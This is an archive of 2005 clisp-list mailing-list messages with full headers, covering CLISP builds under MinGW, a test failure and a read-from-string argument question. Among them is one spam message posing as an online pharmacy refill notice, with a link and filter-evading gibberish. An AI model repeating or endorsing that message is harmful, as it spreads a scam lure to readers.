-0500 > * Yaroslav Kavenchuk [2005-02-01 17:54:40 +0200]: > > I wait cvs-tarball. I recommend . -- Sam Steingold (http://www.podval.org/~sds) running w2k Linux - find out what you've been missing while you've been rebooting Windows. From kavenchuk@jenty.by Wed Feb 02 02:04:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CwHMs-0001Jv-QH for clisp-list@lists.sourceforge.net; Wed, 02 Feb 2005 02:04:14 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CwHMq-0007Ax-Lg for clisp-list@lists.sourceforge.net; Wed, 02 Feb 2005 02:04:14 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1A7NDCB0; Wed, 2 Feb 2005 12:06:29 +0200 Message-ID: <4200A5B1.1010309@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 2 02:10:56 2005 X-Original-Date: Wed, 02 Feb 2005 12:04:33 +0200 Sam Steingold: > > * Yaroslav Kavenchuk [2005-02-01 17:54:40 +0200]: > > > > I wait cvs-tarball. > > I recommend > . > I have internet access over proxy with closed 2401 port. I can load only cvs-tarball. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Wed Feb 02 23:40:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cwbbd-0008JN-Bh for clisp-list@lists.sourceforge.net; Wed, 02 Feb 2005 23:40:49 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cwbbb-0004lz-LP for clisp-list@lists.sourceforge.net; Wed, 02 Feb 2005 23:40:49 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1A7NDDVC; Thu, 3 Feb 2005 09:43:08 +0200 Message-ID: <4201D598.8040604@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] test filed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 2 23:44:31 2005 X-Original-Date: Thu, 03 Feb 2005 09:41:12 +0200 clisp from cvs. ./configure --with-mingw --with-module=dirkey --with-module=postgresql --with-module=zlib --with-module=rawsock --build build-full after "make check" $ cat tests/path.erg Form: (LET ((FILE "this-is-a-temp-file-to-be-removed-immediately")) (UNWIND-PROTECT (WITH-OPEN-FILE (S FILE :DIRECTION :OUTPUT) (LIST (NOT (NULL (PROBE-FILE FILE))) (NOT (NULL (PROBE-FILE S))) (EQUALP (TRUENAME S) (TRUENAME FILE)))) (DELETE-FILE FILE))) CORRECT: (T T T) CLISP : (T T NIL) Differ at position 2: T vs NIL CORRECT: (T) CLISP : (NIL) after "make distrib" and install: $ full/lisp.exe -M full/lispinit.mem --version GNU CLISP 2.33.80 (2004-11-27) (built on nb [150.0.0.200]) Software: GNU C 3.4.2 (mingw-special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY Features: (ZLIB RAWSOCK POSTGRESQL DIRKEY REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) Installation directory: User language: ENGLISH Machine: PC/386 (PC/?86) stnt067 [150.0.0.200] -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Feb 03 00:31:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CwcP1-0002gR-UR for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 00:31:51 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CwcOy-0004CA-V2 for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 00:31:51 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1GTVKGQ5; Thu, 3 Feb 2005 10:33:23 +0200 Message-ID: <4201E15E.8070002@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 3 00:34:20 2005 X-Original-Date: Thu, 03 Feb 2005 10:31:26 +0200 Sam Steingold: > > * Yaroslav Kavenchuk [2005-02-01 17:54:40 +0200]: > > > > I wait cvs-tarball. > > I recommend > . > I used cvsgrab. I build clisp (win2k+mingw/msys). lisp -M lispinit.mem --version GNU CLISP 2.33.80 (2004-11-27) (built on nb [150.0.0.200]) Software: GNU C 3.4.2 (mingw-special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY Features: (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) Installation directory: User language: ENGLISH Machine: PC/386 (PC/?86) stnt067 [150.0.0.200] Some questions: "-DNO_GETTEXT" - this is normal? I can change "User language"? And I not decide an issue "-I../" -> "-I..", but this probably gcc+mingw problem. Configure with option --with-threads= with C_THREADS or WIN32_THREADS produces an error. This is not supported? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Feb 03 06:24:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cwhu5-0004C6-9Y for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 06:24:17 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cwhu3-0003hg-JP for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 06:24:17 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j13EMTd5028939; Thu, 3 Feb 2005 09:22:38 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4201D598.8040604@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 03 Feb 2005 09:41:12 +0200") References: <4201D598.8040604@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: test filed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 3 06:27:05 2005 X-Original-Date: Thu, 03 Feb 2005 09:23:45 -0500 > * Yaroslav Kavenchuk [2005-02-03 09:41:12 +0200]: > > Form: (LET ((FILE "this-is-a-temp-file-to-be-removed-immediately")) > (UNWIND-PROTECT (WITH-OPEN-FILE (S FILE :DIRECTION :OUTPUT) (LIST (NOT > (NULL (PROBE-FILE FILE))) (NOT (NULL (PROBE-FILE S))) (EQUALP (TRUENAME > S) (TRUENAME FILE)))) (DELETE-FILE FILE))) > CORRECT: (T T T) > CLISP : (T T NIL) fixed yesterday evening. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. From sds@gnu.org Thu Feb 03 06:32:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cwi1z-0004gn-PR for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 06:32:27 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cwi1y-0004vW-1N for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 06:32:27 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j13EUhrr029788; Thu, 3 Feb 2005 09:30:43 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4201E15E.8070002@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 03 Feb 2005 10:31:26 +0200") References: <4201E15E.8070002@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 3 06:34:46 2005 X-Original-Date: Thu, 03 Feb 2005 09:31:58 -0500 > * Yaroslav Kavenchuk [2005-02-03 10:31:26 +0200]: > > "-DNO_GETTEXT" - this is normal? this is normal on win32. look at config.log in your build directory and search for "gettext". you will see things like this: configure:5341: checking for GNU gettext in libc configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c >&5 conftest.c:14:21: libintl.h: No such file or directory configure:5371: $? = 1 configure: failed program was: | /* confdefs.h. */ | | #define PACKAGE_NAME "GNU CLISP" | #define PACKAGE_TARNAME "clisp" | #define PACKAGE_VERSION "2.33.80 (2004-11-27)" | #define PACKAGE_STRING "GNU CLISP 2.33.80 (2004-11-27)" | #define PACKAGE_BUGREPORT "http://clisp.cons.org/" | #define _GNU_SOURCE 1 | #define ASM_UNDERSCORE | #ifndef __i386__ | #define __i386__ 1 | #endif | /* end confdefs.h. */ | #include | extern int _nl_msg_cat_cntr; | extern int *_nl_domain_bindings; | int | main () | { | bindtextdomain ("", ""); | return (int) gettext ("") + (int) ngettext ("", "", 0) + _nl_msg_cat_cntr + *_ nl_domain_bindings | ; | return 0; | } configure:5396: result: no configure:5808: checking for iconv configure:5920: result: no, consider installing GNU libiconv configure:6319: checking for GNU gettext in libintl configure:6351: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c -lintl >&5 conftest.c:14:21: libintl.h: No such file or directory configure:6357: $? = 1 configure: failed program was: | /* confdefs.h. */ | | #define PACKAGE_NAME "GNU CLISP" | #define PACKAGE_TARNAME "clisp" | #define PACKAGE_VERSION "2.33.80 (2004-11-27)" | #define PACKAGE_STRING "GNU CLISP 2.33.80 (2004-11-27)" | #define PACKAGE_BUGREPORT "http://clisp.cons.org/" | #define _GNU_SOURCE 1 | #define ASM_UNDERSCORE | #ifndef __i386__ | #define __i386__ 1 | #endif | /* end confdefs.h. */ | #include | extern int _nl_msg_cat_cntr; | extern | #ifdef __cplusplus | "C" | #endif | const char *_nl_expand_alias (); | int | main () | { | bindtextdomain ("", ""); | return (int) gettext ("") + (int) ngettext ("", "", 0) + _nl_msg_cat_cntr + *_ nl_expand_alias (0) | ; | return 0; | } configure:6442: result: no i.e., there is no gettext available. > I can change "User language"? I guess not. > And I not decide an issue "-I../" -> "-I..", but this probably > gcc+mingw problem. you might want to just use mingw as distributed with cygwin. > Configure with option --with-threads= with C_THREADS or WIN32_THREADS > produces an error. This is not supported? no, threads are not supported (and never really worked). would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) running w2k Politically Correct Chess: Translucent VS. Transparent. From c.turle@wanadoo.fr Thu Feb 03 11:56:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cwn5a-0007VU-KH for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 11:56:30 -0800 Received: from smtp12.wanadoo.fr ([193.252.22.20]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cwn5Z-0007lr-5C for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 11:56:30 -0800 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1204.wanadoo.fr (SMTP Server) with ESMTP id 4EE591C000AA for ; Thu, 3 Feb 2005 20:56:19 +0100 (CET) Received: from verbobonc (ARennes-201-1-3-208.w81-49.abo.wanadoo.fr [81.49.232.208]) by mwinf1204.wanadoo.fr (SMTP Server) with SMTP id 07B7B1C0009D for ; Thu, 3 Feb 2005 20:56:18 +0100 (CET) X-ME-UUID: 20050203195619317.07B7B1C0009D@mwinf1204.wanadoo.fr Message-ID: <000701c50a2a$6d26ca10$0e01a8c0@verbobonc> From: "Christophe Turle" To: References: <4201E15E.8070002@jenty.by> MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] read-from-string bug ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 3 16:28:47 2005 X-Original-Date: Thu, 3 Feb 2005 20:56:18 +0100 QAM> (read-from-string "*14.2" t nil :start 1) 14.2 5 QAM> (read-from-string "*14.2" :start 1) *14.2 ;; <-- ??? 5 why the result is not the same ??? config : QAM> (software-version) "GNU C 3.3.1 (cygming special)" QAM> (lisp-implementation-version) "2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101])" From lisp-clisp-list@m.gmane.org Thu Feb 03 16:58:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cwro0-0007Ym-WF for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 16:58:41 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1Cwrnz-0006Ta-GX for clisp-list@lists.sourceforge.net; Thu, 03 Feb 2005 16:58:40 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1CwrnD-0006Og-2N for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 01:57:51 +0100 Received: from 66-117-162-83.dls.net ([66.117.162.83]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 04 Feb 2005 01:57:51 +0100 Received: from dietz by 66-117-162-83.dls.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 04 Feb 2005 01:57:51 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Paul F. Dietz" Lines: 15 Message-ID: References: <4201E15E.8070002@jenty.by> <000701c50a2a$6d26ca10$0e01a8c0@verbobonc> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 66-117-162-83.dls.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en In-Reply-To: <000701c50a2a$6d26ca10$0e01a8c0@verbobonc> X-Gmane-MailScanner: Found to be clean X-Gmane-MailScanner: Found to be clean X-MailScanner-From: lisp-clisp-list@m.gmane.org X-MailScanner-To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: read-from-string bug ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 3 17:01:11 2005 X-Original-Date: Thu, 03 Feb 2005 18:58:26 -0600 Christophe Turle wrote: > QAM> (read-from-string "*14.2" t nil :start 1) > 14.2 > 5 > > QAM> (read-from-string "*14.2" :start 1) > *14.2 ;; <-- ??? > 5 > > why the result is not the same ??? In the second case, the arguments :START and 1 aren't being treated as keyword arguments, but as the two optional arguments. Paul From sjlddfrkcwqkh@cscontrols.com Thu Feb 03 20:46:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CwvML-00069c-Kb; Thu, 03 Feb 2005 20:46:21 -0800 Received: from c-24-126-88-157.we.client2.attbi.com ([24.126.88.157]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CwvMK-00046B-T3; Thu, 03 Feb 2005 20:46:21 -0800 Received: from heathenishpeternixon.net [167.7.128.162] (helo=showboat.vergenet.net) by smtp6.cistron.nl with esmtp (sentential) id 7AQ6iH-3453CR-00; Fri, 04 Feb 2005 09:36:01 +0500 Message-ID: <6684B67C.8794607@duplicate.peternixon.net> From: "Inez Marsh" To: clisp-list@lists.sourceforge.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031013 Thunderbird/0.3 X-Accept-Language: en-us, en Subject: [clisp-list] New Drug store Maricela Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 3 20:46:35 2005 X-Original-Date: Fri, 04 Feb 2005 10:36:01 +0600 Refill Notification Ref: BZ-18413817809 Dear clisp-list@lists.sourceforge.net, Our automated system has identified that you most likely are ready to refill your recent online pharmaceutical order. To help you get your needed supply, we have sent this reminder notice. Please use the refill system http://bruce.m3dspective.info/?wid=100069 to obtain your item in the quickest possible manner. Thank you for your time and we look forward to assisting you. Sincerely, Inez Marsh berea sp genre qdq horde pa referable db michelangelo jpu tun ju sargent pev yeshiva hg soy joh somal ec whistleable ml faulkner gmg sobriety ptj pawnshop fr clad in cauchy ct From mm3@zepler.net Fri Feb 04 01:57:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cx0DK-0004tD-S5 for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 01:57:22 -0800 Received: from raven.ecs.soton.ac.uk ([152.78.70.1]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cx0DJ-00044n-7j for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 01:57:22 -0800 Received: from magpie.ecs.soton.ac.uk (magpie.ecs.soton.ac.uk [152.78.68.131]) by raven.ecs.soton.ac.uk (8.12.10/8.12.10) with ESMTP id j149uwi3027894; Fri, 4 Feb 2005 09:56:58 GMT Received: from login.ecs.soton.ac.uk (IDENT:root@login [152.78.68.162]) by magpie.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id JAA05270; Fri, 4 Feb 2005 09:57:12 GMT Received: (from mm3@localhost) by login.ecs.soton.ac.uk (8.11.6/8.11.6) id j149vCY18871; Fri, 4 Feb 2005 09:57:12 GMT X-Authentication-Warning: login.ecs.soton.ac.uk: mm3 set sender to mm3@zepler.net using -f From: Marcin Tustin To: Christophe Turle Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-from-string bug ? Message-ID: <20050204095712.GA17258@login.ecs.soton.ac.uk> References: <4201E15E.8070002@jenty.by> <000701c50a2a$6d26ca10$0e01a8c0@verbobonc> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <000701c50a2a$6d26ca10$0e01a8c0@verbobonc> User-Agent: Mutt/1.4i X-MailScanner-Information: Please contact helpdesk@ecs.soton.ac.uk for more information X-ECS-MailScanner: Found to be clean X-MailScanner-From: mm3@zepler.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 4 01:57:45 2005 X-Original-Date: Fri, 4 Feb 2005 09:57:12 +0000 On Thu, Feb 03, 2005 at 08:56:18PM +0100, Christophe Turle wrote: > QAM> (read-from-string "*14.2" t nil :start 1) > 14.2 > 5 > > QAM> (read-from-string "*14.2" :start 1) > *14.2 ;; <-- ??? > 5 > > why the result is not the same ??? Try capturing the results of the calls into variables - if the only thing that both return is 14.2, why worry? > config : > > QAM> (software-version) > "GNU C 3.3.1 (cygming special)" > QAM> (lisp-implementation-version) > "2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101])" > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IntelliVIEW -- Interactive Reporting > Tool for open source databases. Create drag-&-drop reports. Save time > by over 75%! Publish reports on the web. Export to DOC, XLS, RTF, etc. > Download a FREE copy at http://www.intelliview.com/go/osdn_nl > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From kavenchuk@jenty.by Fri Feb 04 03:25:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cx1a7-0000WQ-62 for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 03:24:59 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cx1a4-00070M-GE for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 03:24:59 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 12RD1GFD; Fri, 4 Feb 2005 13:27:12 +0200 Message-ID: <42035B9B.5000804@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 